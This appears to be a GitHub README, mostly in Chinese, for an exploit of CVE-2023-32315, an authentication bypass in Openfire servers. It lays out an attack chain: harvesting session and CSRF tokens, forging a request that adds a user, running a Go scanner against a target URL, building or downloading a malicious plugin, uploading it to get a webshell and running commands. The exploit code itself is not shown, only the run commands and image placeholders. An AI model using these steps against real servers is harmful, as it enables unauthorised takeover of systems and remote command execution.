/CVE-2023-32315-Openfire-Bypass

rce

Primary LanguageJava

CVE-2023-32315

0x01 获取返回的JSESSIONID和csrftoken ,构造请求包新增用户(替换JSESSIONID、csrftoken) img.png

cd CVE-2023-32315-Openfire-Bypass/scan_all
go mod tidy
go run main.go -u http://openfire.com:9090

0x02 插件编译安装

mvn clean package

或 releases下载插件

0x03 上传插件 img.png

0x04 得到webshel img.png 0x05 执行命令 img.png